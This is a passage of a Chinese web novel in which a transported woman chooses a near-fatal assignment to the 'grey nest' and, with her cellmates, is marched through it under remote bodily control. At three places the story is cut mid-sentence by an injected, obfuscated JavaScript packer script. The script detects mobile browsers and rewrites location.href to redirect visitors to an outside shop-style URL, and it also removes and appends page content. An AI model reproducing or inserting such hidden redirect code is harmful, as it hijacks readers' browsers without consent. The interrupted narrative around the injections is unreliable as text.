“和合这边不用考虑了,去灰巢也是你们的死刑执行方式之一?”吴先生也沉默了一会才说话,他的声音让卫晓在恐惧中勉强找回了一点理智,旋即又跌入更深的地方,“我方终止对1XV202509081028的归属权谈判,审查官大人,这两天麻烦你了,以后有机会再合作。” “欣赏你的果断,记得保密,期待合作。”女声客套一句,“伊娃,这个送回去,处理方式不变。” “收——” “我放弃!”忽然,一道破了音的尖叫盖过了冰凉的电子女声,低着头的卫晓深深喘气,哆嗦着,说完了后半句。 “我申请放弃麻醉死刑,审查官大人。” “好啊。”即将消失的虚拟屏幕闪烁几下,又恢复了稳定,那个女声听上去忍俊不禁,“那签吧。” 又是一个文本框滑倒卫晓手边:“身份编号1XV202509081028,自愿放弃麻醉执行,听从羁押中心安排。” 卫晓一个字一个字读过去,这次没有“详细信息”了,只有一个小小的方框,里面一个横平竖直的“是”字。 “据我所知,死在灰巢里不是什么好事。”吴先生的声音从头顶传来,还是一样的疲惫,“麻醉死刑不会有任何感觉,但死在灰巢里可能全尸都留不下,所以我觉得……” “这我要补充一下,全尸还是常见的,要勇敢一点吗。”女声轻快地打断了吴先生,听上去更开心了。 卫晓听到他们的话,却不理解什么意思了,她的所有心神都被那个即将做出的选择占据,两个声音在她的脑海回荡,一边是“不会有任何痛苦”,另一边是“上一批出来六个”。 三百个人,只有六个活下来了。 还有六个活下来了。 2% 有机会,卫晓死死咬住这微乎其微却的确存在的概率,她有机会成为那个活下来的六人之一。 她不知道是什么让她吐-出了那三个字,她一向不会主动去做什么有风险有难度的事情,顺其自然是她最常挂在嘴边的话,她觉得社会和谐,国家强大,她有爸妈有爱好有朋友,她当一个平庸的人,平庸地过完一生没什么不好。 但她现在被抛进了一个未知的世界,卫晓的手指一动,按下了那个小小的“是”,她不知道这是不是在死前徒增一场无谓的痛苦,但她知道自己的命运将因此改变,无论是好还是坏。 不要温和地走进那个良夜,从前读过千百遍的句子涌上了心头,她不要安静地接受死亡,她要为了那小小的概率去挣扎。 活下去活下去活下去活下去活下去! 妈妈,我要回家。 - “怎样?”酥七先蹦了过来,她站在床上,踮脚关切地揉了揉卫晓的头发,手劲大得卫晓头皮痛,“你看着好惨,晚饭我可以分你一勺。” “我……”看着围过来的狱友,卫晓心神恍惚,该怎么说自己一番努力,最终把自己的存活几率从0%提升到了2%呢?这个概率比她国考裸考然后一把上岸的概率还低。 “算啦,下一顿吃饱就好。”酥七又改成了雄赳赳气昂昂地叉腰站,“活着就是吃饭和睡觉,有事我罩着你。” “嗯,谢谢酥七罩着我。”可能是酥七的声音太有活力了,她也振作了一点,揉了揉酥七乱糟糟的卷毛,把她拎下了床,“不过还是不要踩在床上哦。” “那么谈判结果是?”绒绒坐在床上轻声问,卫晓溜过去坐下,四盒也摸到了卫晓身后,爱怜地抚摸着卫晓不知多久没洗的长发,轻柔的,规律的动作莫名地让卫晓安心了些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351493|199616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……总之是我放弃了麻醉死刑,接受安排去灰巢。”卫晓简单复述了谈判结果,苦笑一声,“可能也不是什么好结果。” “的确不是好结果。”绒绒思考了一会,“死亡率太高了,你对灰巢了解多少?” “记不清了,只听说过一点。”卫晓选择了一个保守的答案。 “我也一时说不清楚。”绒绒的手指轻轻敲着床边,“可能见过才知道?我也没遇见过。” “我怕见过就没命。”卫晓又开始咬指甲,“三百个,出来了六个。” “为什么这么害怕?”酥七忽然开口,第一次打断了绒绒和卫晓的对话,她正将一团头发揉来揉去地玩,“你害怕死掉?” 这问题——卫晓愣了一下,拿出了哄酥七的一贯语气,“活着才能吃饭和睡觉呀,死掉了就不能了。” “你果然脑子不行,死掉了不就可以一直睡觉了吗,我们那里都不害怕,大家总有一天都会死掉。”酥七看向她,大大的眼睛里是真切的疑惑。 卫晓一下哽住了,这是什么,地方特色生死观吗? “但我想活着。”最后卫晓也只能挤出一句,她要回家,马上过年了,爹妈还在家里等她,她是家里唯一的孩子。 “每个人对死亡有不同的理解。”绒绒也插了一句,“我应该是......不能死。” 四盒还是一言不发,她拍掉了卫晓放在嘴边咬指甲的手,嘟囔着继续和卫晓打结的头发战斗。 “说不定我们会一起去灰巢。”绒绒打破了短暂的沉默,“我和酥七的判决也是听从安排,四盒大概率也是。” “真的么!”卫晓一时不知道该因为有了同伴激动,还是因为可能一起去死而悲伤,“……那我们不知道能不能一起。” “明天就知道了。” “……嗯。” - “……伊娃,我希望知道有关‘灰巢’的情况。”卫晓脱力地靠在椅背上,此时见面刚结束,她的小房间正在回牢房的路上。 “灰巢是灰巢物质的聚集区域。大约四百九十年前首次观测到灰巢物质出现,当时情况已不可知,后简称灰质。”冰冷的电子女声一如既往地平静,语速略快,“灰质常见为粘稠,无光泽的灰色液体,味道腥甜,是极其优质的能源。其性质包括,总量维持不变,具有聚合、混同与强化特性,在影响有自我意识的存在的同时,也会被有自我意识的存在影响。灰质大量聚集区域——‘灰巢’覆盖范围大小不一,内部时空混乱,存在无意识生命体,对人类有一定威胁。建议居民遇见灰巢事件时保持原地不动,集中注意力,保持清醒,等待救援。” ……又是一个超现实元素,已经熄灯了,卫晓躺在床上复盘今天的事情,只觉得脑子越来越痛,这都是些什么东西?但绒绒她们对此毫不惊讶,对于“灰巢”的描述也和伊娃提供的大差不差,这种超自然存在在这个世界或许稀松平常?小药瓶上写了“灰巢能力”,她没敢问贸然伊娃,她的能力会与灰巢有关吗? 但她的穿越是更大的超自然事件,其他人从没提到过什么异世界来客。注视着黑暗的房顶,卫晓还是坚信自己走对了这步险棋,灰巢内部时空混乱,一看就和自己穿越有很大关联,说不定明天一进灰巢她就穿回去了呢,眼睛一闭一睁,就回到了回家的火车上。 即使怀着美好的愿景,卫晓还是辗转难眠,2%,这个数字在她脑子里四处盘旋,不知过了多久才迷迷糊糊睡了过去。 7. 永不停歇之地(1) “所以,我们,要在这里等多久。”卫晓听到旁边的酥七深深叹气,肚子叫得超大声,蜷缩在墙壁边的绒绒已经打起了小小的呼噜,挤在她们中间的四盒继续一言不发地编辫子,卫晓伸手摸了摸不再疼痛的后颈,让自己清醒一点。 她们早上四点就被叫了起来,先被在后颈安装了一个小小的三角金属片——一面光滑,另一面深深扎进肉里,用处不明,绒绒也不认识,然后被送到了一个挤了满满当当六十来人的方形房间,房间里男女老少齐聚,所有人后脖子上都带着那个小小的金属片,外貌上都还算正常人。 说“还算”是因为,这个世界的染色剂应该非常物美价廉,一-大半人头上都顶着有两种以上高饱和颜色的发型,身上挂着各式各样的彩色小零碎,衣服也是破烂但灿烂,目力所及之处,红橙黄绿青蓝紫一个不缺,不知道什么材料能染出如此可怕的高饱和,坐在卫晓侧面的一个蓝粉色系的男人还带炫光,照得这个冰冷的金属房间像个五颜六色的调色盘。相比之下,牢房四人组所在的角落有一种格格不入的“正常”,绒绒只是上衣高饱和红,戴了一个小小的红色耳钉,酥七和四盒都是白袍,她自己更是还穿着上火车的灰色卫衣和牛仔裤。 另外,有人的手细长且中间带蹼,有人眼睛异常巨大,有人手指融在了起,手臂伸不直,只能像鸡翅一样僵硬地蜷缩在胸-前,还有人颌面往前突出一-大截,看上去很像马,相比之下,酥七的老鼠尾巴甚至显得眉清目秀,卫晓甚至怀疑,自己看见审讯官有两个脑袋,可能不是幻觉。 终于,当时钟跳到九点整的时候,骤起的机械运转声把所有人都惊得一哆嗦。墙壁滑开一道漆黑的小门,一个全副武装的人弯腰进来,左手端着枪状武器,黑洞洞的枪口对准了房里众人。 “挨个过去。”一个平平的男声从覆盖全脸的金属面罩后传来,“速度快。” 一时没人敢上前,一堆五颜六色的人鹌鹑一样堆在一起,惊恐地盯着一身浅蓝色的入侵者,都试图往后躲,直到男人往前一步,左手的枪口敲得一个亮紫色小青年踉跄往前——卫晓才发现他不是手持枪械,而是手臂裂开,从里面伸出了枪口。 “你,过去。”他不耐烦地说,接着点了周围一圈人,“你,你,还有你,跟上!都过来。” 像是配合他的话一般,背后的墙壁缓缓向前挤压,人群终于惊慌地动了起来,从枪口下一个个钻进小门。绒绒不知何时已经站到了四人组前方,转头看着后面不知所措的三个:“我打头,酥七带着四盒在中间,明月殿后。” “好!”酥七小小地答应一声,拉着四盒跑到绒绒后面。卫晓一愣,才反应过来“明月”是在叫自己,连忙跟上,一行四人混入人群,钻过了小门。 几步穿过门后一条连廊,她们进入了某种机械内部,地面一震,引擎轰鸣声伴随超重感一起传来,众人被转移到了一艘飞行器上。 “我们要去灰巢?别走散了哦。”被卫晓抱起来的酥七小声说,大眼睛四处乱瞟,她个子太矮,挤在乱糟糟的人群里卫晓不太放心。 “……可能是吧。”卫晓的手和声音都有点抖,她把酥七往上颠了颠,抱得更稳当了一点。小小的女孩贴着她,热烘烘的。才到这里,她强行维持的冷静就有点撑不住了。2%,她想到这个数字就恐惧得直抖。 但身边的绒绒依然不动如山,卫晓靠着她,心里踏实了一点。 “我……”卫晓正要再说点什么,身后却忽然炸起一声惊叫,粉色头发的男人跳了起来,惊恐地喊道:“去灰巢?你说我们要……” 男人出声的瞬间,其中一位看守也动了,卫晓根本没看清他做了什么,男人就软倒在了地上,但那三个字已经如同水入油锅,人群一下沸腾起来。 “灰巢?” “去灰巢?” “我的判决是义务劳动!搞错了!” “我……” 突然的混乱超乎卫晓的想象,所有人听到“灰巢”这两个就如同听到了地狱,人群剧烈骚动起来。绒绒猛地将卫晓和四盒往下一按,挤在了角落。透过缝隙,卫晓看见那个一直在飞行器内部的守卫抬手,声音最大的几个人就瞬间倒了下去。 “呕——”人群恐惧地安静下来,有人吐了,为臭烘烘的机舱更添一份风味,更多人在窸窸窣窣的哭泣与颤-抖。尽管引擎轰鸣声持续,但一种寂静的绝望沉沉地笼罩了下来,比任何难闻的气味都更让人难以呼吸。 “灰巢”究竟是什么……卫晓挤在绒绒和四盒中间,只觉得自己即将窒息,人群的反应大得可怕,他们知道什么?为什么这么害怕?? “我们有机会逃跑吗。”卫晓的声音也有点抖,她小声问面前护着她们的绒绒,“就是…就是…” 绒绒一把按住了她的嘴,昏暗中卫晓只能看见绒绒的脸颊轮廓和耳边的红色小耳钉,她摇了摇头。 “跟紧我。”绒绒小声说,卫晓感觉她压-在自己脸颊上的手指正在轻轻抽搐,但声音一如既往地平静,像镇定剂一样让卫晓狂跳的心脏安稳了一点,“我有办法。” “别害怕,我也护着你。”怀里的酥七也压低了声音,大眼睛在昏暗中也闪着光,“不嫌弃你光长个子不长脑子,你以后就是我妹妹。” 身后四盒依旧一言不发,但细白的手指又捻上了卫晓的头发,一下下梳理着。 “……好。”卫晓呼了口气,低头不去看舱里躺着的尸体。 她们四个都在这里真是太好了,她可耻地想。 在一片死寂中,飞行器落地,舱门开启,天光倾斜而入。冷风呼啸,一种淡淡的腥甜味道冲散了机舱里的臭味。最开始的高个男人敲敲金属门框,发出铛铛的响亮声音。 “动起来。”他把手臂上的枪口对准了离他最近的一人。 不管是横着还是竖着,机舱里的人总之都出来了,在看守的驱赶下聚成一堆,瑟瑟发-抖地看着眼前大楼,大楼高耸入云,没有窗户,方正得像一块墓碑,每一寸裸-露的墙体上都贴满了印着人或字的巨幅海报,颜色艳丽又花哨,但在阴沉的天空下,无论多么鲜艳的色彩都显得灰扑扑的,像被埋在垃圾堆里的彩色塑料袋,或者被各种真菌占领的橘子。 更远处,更多一模一样的大楼沉默矗立,将视线阻挡得严严实实,它们挨得极近,数量又极多,在高楼聚拢的目光下,人们渺小得不可思议,楼前人、车、设备像一把小石子一样散乱在大楼入口前,后面巨大的飞行器呼啸着升空,但制造出的所有动静都被吞噬的一干二净,一种被压住的窒息感让卫晓不由得呼吸急促起来。 好糟糕的地方,空气中那股奇异的腥甜味道熏得卫晓一阵反胃,未来世界的空气净化器一定卖得很好。 “最后一批。”一个有点尖的女声忽然传来,卫晓一惊,就在昨天,这个声音戏谑地告诉她将近三百人活了六个。 说话人离她们不远,隔着持枪的层层守卫,她终于窥见了女声的主人,那位“审查官大人”,她披着轻薄的绿色长外套,皮肤带着碧绿的光泽,尖细异常的手指向着人群,脸低向身侧,看不清神情,“可凑不出人了。” “可以了。”一个低沉的女声回答,审查官身侧的女人个子不高,一身笔挺沉重的暗灰色大衣,笔直的线条从下巴一直盖到脚面,一头光泽闪耀的白色齐短发随风浮动,反射出称得上锐利的光芒,在一片鲜艳又灰暗的世界里显眼异常,“我派新的队伍下去。白士,通知准备。” “是,大人。”一个男声应到。 “祝顺利。”审查官的声音带了点笑意,人群移动,阻挡了卫晓的视线。 两人看上去官职不低,“审查官”暂且不提,那白毛女应该是现场负责的?“队伍”,这个世界有专门的组织应对“灰巢”?卫晓依依不舍地收回视线,忽然看见前面的绒绒也在盯着两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351494|199616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方向。 “听声音,绿衣服是那个让我签合同的审查官。”卫晓往前挤了一点,凑到绒绒耳边小声说。 绒绒点点头,她一只手牵着酥七,另一只手拍了拍卫晓的肩膀,“你牵着四盒,我们尽量不要走散,再强调一下,在里面不要乱想,注意力集中。” 酥七毛茸茸的脑袋用力点了点,卫晓握紧了四盒的手,深吸一口气。 这次他们没有等太久,周围的守卫开始暴力驱赶人群上前,面前就是大敞的大楼入口,里面一片深邃的黑暗,天光像被直直切断,一点也没漏进去。 而在目光触及的瞬间,卫晓忽然莫名寒毛直竖,烫到般移开了目光。完全不需要去想什么死亡率或者留不下全尸,她听到自己最单纯最原始的本能开始报警。 离这里越远越好!双脚开始发-抖,仿佛有了自己的意识,抗拒往前。 这不是个别情况,所有人都放慢了脚步,仿佛面前不是一道大门而是一道悬崖,前面的人拼命想往后面走,后面的人害怕被挤到前面,也害怕背后的枪口,四人拉紧了手才没被冲散。 “不进现在就死,进去还能活着。”一个清脆的女声传来,拥挤中卫晓撇了一眼,不知何时,一支三人队伍站在了旁边。三人分别穿着蓝橙青的连体衣,全身上下没有一寸裸-露的皮肤,身上各式大小装备齐全,头上扣着圆形头盔,看不见脸。 他们未多停留,很快先后进入灰巢,身影瞬间消失在了黑暗中。而人群在枪口与长棍的驱赶下,终于开始磨磨蹭蹭地往里走。 牢房四人组挤在中间。被推着走近了,卫晓不得不直视,才发现是那黑暗似乎是某种实体,或者是液体,它具体地充斥着整个楼体空间,将内外划分出一道鲜明的界限。 不要不要不要!越是注视越是恐惧,卫晓猛地闭上了眼睛,拼命想后退,但身后人群以不容拒绝的力量将她向前挤,一个踉跄就直直撞了过去,慌乱中她憋了口气,拉着四盒的手下意识的攥紧。 像无数冰凉锋利的刀锋依次抚过身体内外的每一个角落,尽管紧闭着眼睛,卫晓还是能感觉到她“穿过”了什么,又或者她被什么从前而后地“穿过”了,浑身上下只残留着一种别扭的不适感。周围温度骤降,卫晓鸡皮疙瘩暴起,一种令人眩晕的、腥甜的气味充斥了肺腑。 她进入了“灰巢”。 但自己还好好的攥着四盒的手,能够感受到人体的温度,周围能听到模糊的人声,有人在小声抽鼻子,有人在低声说话。 再三建设,卫晓终于鼓起勇气,睁开眼睛。 入目是一片灰黑的世界,长长的走廊往两边延伸,亮着明暗不一的彩灯,墙上满是五颜六色的涂鸦、广告,地上有乱丢的衣物、鞋子、垃圾,……充满了各种各样的东西,但一切,所有的一切,不管有着多么鲜艳的颜色,都如同被灼烧过般,几乎只剩下了黑白的灰烬。在这如同大火过境的世界里,连刚进来的那些穿得五颜六色的人们也显得无比灰暗,无论多么艳丽的颜色都变得一片黯淡。而因为颜色的缺失,远处更是只有一片隐约的黑白色块。走廊两侧一道道大门半开,后面一片深不见底的漆黑。 更加强烈的恐惧与焦虑笼罩了全身,卫晓猛地扭头看向来处,方方正正的大楼入口依旧在那里,只是从这里看去,外面也是一片黑暗,陆续还有人从黑暗中-出现,已经进来的人们都站在原地。 这就是“灰巢”?卫晓控制着自己的呼吸不要发-抖,观察中大脑飞转,忽然一个念头一闪。 在这里,有逃跑的可能吗。 绒绒就站在四盒前面,身边站着酥七,卫晓上前一步,抬手去拍绒绒的肩膀。 不对…… 卫晓低头看向她一动不动的双手与双脚,她刚才根本没有“上前一步”,她仿佛被施了什么定身咒,死死钉在了原地。 不知何时,她失去了对自己身体的控制。 8. 永不停歇之地(2) 卫晓站在原地,现在她知道为什么所有人站在原地了。 “存在无意识生命体,对人类有一定威胁”,伊娃冷漠的声音回荡在卫晓惊恐的大脑中,是因为这个吗?他们一进来就被团灭了吗?她要死了吗?? 冷静冷静! 她要死了?? 冷静!卫晓大口喘着气,仅存的理智终于压住了惊恐。一番实验,卫晓发现自己脖子以下统统不受控制,她甚至感受不到肢体存在,但脖子以上一切正常,喘气,眨眼,小幅度动头,动嘴巴都没问题,只是发不出任何声音。她勉强转头去看其他人,所有人的表情都在扭曲,脑袋疯狂摇摆,在这黑白灰的世界中,他们像误入了什么荒诞的古早默剧。 前面的绒绒三人也是,但她看到绒绒努力扭过头来,依次对她们点了点头,表情镇定。 对上绒绒的目光,卫晓的心跳终于平缓了一些,勉强回了一个微笑,示意自己没问题,酥七和四盒看上去也还好,酥七的大眼睛一眨一眨,和卫晓对上视线的瞬间还做了个鬼脸。 周围只有一片紧张的呼吸声,视线范围里看不见刚才的三人小队,审查官说他们的工作是协助,白毛女说会派新的队伍下去,那支小队应该就是主力? “尝试连接一次,两次,……连接成功。”一道女声忽然响起,卫晓一个激灵,声音清脆,音色听起来和进来前说话的那个女声相似。 “通讯已确认,人数已确认,队长,可以出发。”另一个男声开口。 话音刚落,卫晓松开了四盒的手,站好,接着以一种一板一眼的奇怪姿势开始动作。 这不是她在动,她目瞪口呆地看着自己的手脚在自己移动,肌肉自己收缩,拉动关节自己弯曲,然后往前走了两步。她像是一个被人捏着线的提线木偶,被随意地摆出各种姿势,完全不听大脑使唤。 自己现在任人宰割的恐惧难以抑制地滋生,她只能徒劳地扭动着头,试图对自己的身体造成哪怕一点点的影响,她头都要甩飞出去了,身体却还是一点反应都没有。 因为灰巢,还是那个金属片?既然怎么尝试都无济于事,卫晓开始努力将注意力从无法控制身体的事实上移开。不用控制动作,思维反而转得更快了点,她看着前面的四盒,后颈上的金属片无声无息地待在那里,看上去人畜无害。“灰巢”可能会让他们都定在原地,但没理由让他们莫名其妙开始动弹,需要维持秩序的是他们要“协助”的队伍。 难怪敢将这么多惊慌失措的人强行送进来,还不担心发生混乱。某种神经科技?或许这个世界在生物领域也很有研究。 那么他们究竟需要“协助”什么?观察?预警?干体力活? 此时其他人的表情也是各有各的精彩,所有的头都在疯狂地到处乱扭,身体却同时立正站好,然后一板一眼地移动,最终僵硬地、安静无声地在走廊里排成了方方正正的队列。 “向大家说明,为便于管理,将由我统一控制行动,不必惊慌。”那个女声再响,肯定了卫晓的猜测,队伍开始整齐划一地移动,三人小队走在中间,一边前进一边谨慎地四处观察。 但一个人可以控制那么多人同时行动吗?牢房四人组正好都走在小队旁边,卫晓用余光可以瞟见他们的动作,疑惑一闪而过。是由其中某个人单独掌握行动,还是团队相互配合?但整个协助队伍有六十多人,同时操控这么多人稳定向前是人脑能做到的吗?团队配合又要怎么保存一致? 安静的走廊里只有隐约的脚步声,越往前走,墙角堆积的的杂物越多,灯光闪烁,一些可疑的深色痕迹出现在墙壁和地面上,隐约还能看出手指或肢体的形状,脚下有些发黏。两边的门有些大敞,有些虚掩,其中一些房间里亮着灯或者屏幕,匆匆走过的时候可以隐约看见里面的布置,每一间都不太一样,有的简洁又整齐,有的堆满了东西,卫晓还看见了一张凌乱的床铺,床头堆着几个玩-偶,被子掀到了地上,拖鞋飞到了门口,看上是匆匆离开的。 不像外表的破旧与黯淡,这是一栋使用中的居民楼,至少曾经是,甚至之前有不少人住在这里,每一间房间都很小,距离很近,密密麻麻的延伸到视线尽头,而卫晓没看见一间空房。看着那些凌乱的生活痕迹,卫晓甚至感到了一丝亲切,比起冰冷坚硬的牢房和令人窒息的高耸楼群,这里反而与她的世界有一点神似。 那住在这里的人呢?他们一直生活在这个灰巢里,因为发生了什么变化而匆匆逃走?还是因为灰巢会突然出现? 但她很快无心思考了,走廊很长,队伍的速度又慢,走得卫晓有些焦躁。 快快快,快点完成任务从这里出去,卫晓念叨着,三人小队脚步快些,已经到了队伍前段,但其他人的速度得实在不紧不慢,她也不能加快脚步,只能干着急。 不知走了多久,走廊终于九十度拐弯,拐弯处不是房间,而是一段狭窄的楼梯,一个闪光的出口标志在楼梯口上一明一暗。队伍没有转弯,而是径直前进,开始往地下走。 队伍依旧整齐有序,只是速度慢得令人心焦,楼梯窄得最多允许两个人并排前进,队形变化,脚步声也愈发杂乱急促。 看着前面的人逐渐隐没在黑暗中,卫晓满心只有快点下去的渴望,可还没等她接近楼梯口,身体忽然自己停住了,紧接着天旋地转,被像一袋面粉似的狠狠甩到了一旁的墙上。 咚!后脑勺大力撞上墙的疼痛让卫晓眼泪花都出来了,身体却被毫不留情地控制着,罚站一样背贴墙立正。 怎么了?忍痛看向左右,绒绒和酥七不知道已经进了楼梯间还是离得远,卫晓没找到她们,四盒和她中间隔了一个蓝发女孩,看上去还是状态正常。靠近楼梯口的人还在慢慢往里走,但离得远些的都被排成了一排,紧紧贴着墙壁,几乎要嵌进去。 而三人小队整齐划一地举起了枪,枪口指着左边的走廊,卫晓顺着望过去,那里和他们来时的走廊一样,远处只有一片模糊的黑白。 怎么了,怎么停下了,后脑勺的疼痛缓解了些,卫晓又有点着急了,她焦躁地咬起了嘴皮,一点血腥味在口腔荡开。 安静的走廊中,只有隐约的脚步声在回荡,满心焦急的卫晓忽然像被泼了盆凉水,牙关轻微发起抖来。 所有人都停下了,哪里来的脚步声? 脚步声越来越近越来越响,隐约的剧烈呼吸声也一并传来,很多人,非常多的人,或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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队伍又开始移动,加快脚步进入楼梯间,卫晓也被控制着离开了墙壁,开始往楼梯口走,却和其他人一样心惊胆战地伸长了脖子往回看。 “建议都别看,不然死得更快。”旁边的橙色队员怪笑一声,头也不回地钻进了楼梯口。 咔,年轻人转眼就迎面撞上了人群,他像一个正中中心的保龄球一样绊倒了一-大片,血肉撞击,骨头折断的声音不绝于耳,人群被拖慢了一瞬,但冲势不减,摔倒的就连滚带爬地起来继续,没及时起来的被踩得身体都瘪了下去,还是用折断的双手扭曲着向前爬,年轻人亮黄-色的外套转眼就消失在黑白中。 紧接着又有一个人惨叫着撞了上去,他体格更高大些,将人群的速度又拖慢了一点,最终在它们冲到之前,队伍全数进入了楼梯间。急促杂乱的脚步声在身后卷过,忽然又是一片血肉撞击的声音,听上去是人群来不及转弯撞到了墙上。 楼梯口已经消失在视野里,卫晓终于回头,前面除了三人小队,所有人都在往前下楼梯,但同时表情扭曲地往后看,有的人看上去已经失去了意识,脑袋无力地软倒,身体却还在动作。 这就是他们的.....“协助工作”吗? 9. 永不停歇之地(3) 卫晓的身体在机械地前进,手脚在一丝不苟地摆动,灵魂却像被留在了一楼楼梯间,年轻人亮眼的黄-色外套似乎烙在了视网膜上,不管她怎么闭眼甩头也挥之不去,一种奇怪的,规律起伏的嗡嗡声缭绕在耳边,似乎是压低声音在窃窃私语的人声,又或者只是无意义的耳鸣,腥甜的气味越发浓烈。 快点快点快点来不及了……那嗡嗡声在卫晓脑袋深处反复呢-喃着,呼吸剧烈颤-抖,冷汗浸-湿了头发。 快点快点快点…… 快点去做什么? 是什么? 答案呼之欲出,她却晕头转向,始终找不到那个准确的表达,卫晓愈发急躁。 是什么来着?她要做什么来着? 卫晓很久没有那么极致地思考过了,她仿佛要钻进自己脑子的最深处,光怪陆离的色斑不断从眼前亮起又消失。 找不到,找不到,想不起来! 忽然,某种触感幻觉般出现在卫晓指尖,是一种粗糙的布料,一道一道的,甚至磨得皮肤有点痛。 这是什么? 卫晓想更用力地去触摸一下,但是她的手完全不听使唤,这让卫晓莫名愤怒起来,她憋着劲,将所有的注意力都集中在了手指上,只想让一点知觉都没有的手稍微动一下。 动啊动啊动啊! 手指微微一抽,触电般的疼痛从后颈处猛地炸开来,强烈的刺-激让卫晓眩晕的脑子仿佛被烧红的针扎穿了,嗡嗡声一下减弱,卫晓满头大汗,才发现自己一直深深低头,半闭着眼睛走路,刚才仿佛是在半梦半醒间做了一场噩梦。 昏暗的走廊里,队伍正在安静地前进,不知何时,他们已经离开了楼梯间,旁边的牌子显示这里是地下一百一十九层。布局倒是和一层一样,笔直的走廊,两侧挤满了房间,只是灯光愈发稀少,一些异常巨大的深色藤蔓出现在周围,它们四处蜿蜒,深深陷入了墙壁里,看上去甚至是和墙壁融为了一体,宽大的叶子横七竖八,将本就不宽的走廊挤压得越发无处落脚,重重障碍中,大家的步伐已经不像进来时那样整齐划一。 疼痛的余韵还留在后颈处,卫晓深吸了几口腥甜的空气,搓了搓手指,想起来了那种粗糙的触感是什么。 她家的沙发套。 蓝色的、有一些金色花纹的,有凸-起的竖条纹的沙发套,是她妈在直播间蹲到的便宜布料,为了运费少一点,就先寄到了她学校,然后再由她带回家,美其名曰保护沙发。 妈妈对这个沙发套满意极了,卫晓只觉得坐得也挺舒服,摩-擦力很强的布料可以让她以各种姿势自由地在沙发上看手机,不会滑下去,卫晓也就这么度过了好几个无所事事的悠闲假期。 那种的触感实在不多见,大约是卫晓的指尖牢牢记住了那个感觉,那感觉又和家联系到了一起。 她想回家,她要活着回家。 找到目标的踏实感令卫晓平静了一点,尽管狂奔的人群和年轻人的亮黄-色外套还是在脑海里挥之不去,但她的大脑不再感到眩晕,卫晓无意识地搓搓手指,又回味了一下那个触感。决定先观察一下现在的情况。 ......搓搓手指? 卫晓忽然低头盯着右手,视线里的双臂还在机械地前后摆动,但摇晃间,她分明看到了右手手指拢起,轻轻摩-擦了一下。 她夺回了一点点的身体控制权! 卫晓呼吸急促起来,金属片的控制不是无解的!她还记得那种集中所有注意力,用尽全身力气去让手指动一下的感觉,那她是不是能逐渐摆脱控制? 想到这里卫晓急忙闭眼,想象着控制肌肉和筋腱,让右手臂停下。 不行,但没过一会她就焦躁睁眼,做不到。 试试脚呢,卫晓连忙又换了个部-位,闭眼尝试。 还是不行,睁眼的时候卫晓尝到了血腥味,刚才她无意识地咬嘴唇,咬出血了。 冷静……她控制着自己的呼吸,像自己一贯做的那样,先将四处乱撞的思绪暂停一下,想象着自己在重启大脑。急什么,慢慢来,在缓慢的吐息中,卫晓习惯性地对自己说。 对啊,急什么。 卫晓一愣,她在急什么?回想自己的状态,从进入“灰巢”开始,她除了恐惧,就是在着急。过去她是那种总说不要急不要慌,知道越急越完蛋的人,现在怎么回事。 是因为脖子上的金属片,还是“灰巢”?有什么东西从心理上影响了她。卫晓看着前面的人,再次列出两个选项,心里有点发毛。 她现在还不好判断原因,但不管是什么,心理上的影响和身体上的控制一样,让卫晓有一种失控的恐惧,她感觉自己因此不是自己了。 这时,队伍的速度再次放缓,乃至逐渐停住脚步。往前看去,藤蔓和碎石已经彻底堵死了通道,只有一条狭窄的缝隙可以让人勉强通过。再仔细看,粗壮的茎叶上全是凌乱的切割痕迹,一些七零八碎的装备和小块的植物碎片丢在地上,看来之前已经有其他队伍到达过这里,开辟出了一条道路。 前面的人正在依次穿过缝隙。透过零落的人群,卫晓能看到三人小队站在队伍最前面,率先通过了缝隙,绒绒和酥七在中段,四盒在后面一点,看上去一切都好。而在一群后脑勺中,她们努力转头的背影显得格外明显。见卫晓恢复神志,前面的酥七率先做了一个夸张的松了一口气的表情,大眼睛眨着,咧出了一个大大的笑容,四盒看到卫晓抬头,也露出了一点笑容,绒绒微微点了点头,表情却有点凝重,担忧地注视着她。 怎么了?卫晓知道自己失去意识吓到大家了,看见大家都平安无事,让她也大松一口气。但绒绒的表情让她感到了一丝不安,她努力做出一个疑惑的表情,但绒绒也无法回答,只能无奈地转过头去。 而且人也变少了,卫晓粗略地扫了一眼,进来的队伍有六十来人,一楼减员两人,但现在大概只有二十人了,她已经站在了队伍最后,右边是一个蓝发女孩,头无力地耷拉下来,而转头看去,身后已经空无一人,只有一片昏沉的黑灰色,深色的藤蔓若隐若现。 似乎有风从黑暗的楼道冷冷地吹来,卫晓急忙转回头来,背后没人,这个现实让她的寒毛猛地炸了起来,她尽量转移注意力,观察前面的其他人,为什么减员?又是奔跑的人群吗,还是在她意识不清的时候又发生了什么?? 卫晓忽然再次想起了绒绒的视线,充满担忧的,不安的视线,她没见过绒绒露出那种表情,并且绒绒其实没有在和她对视。 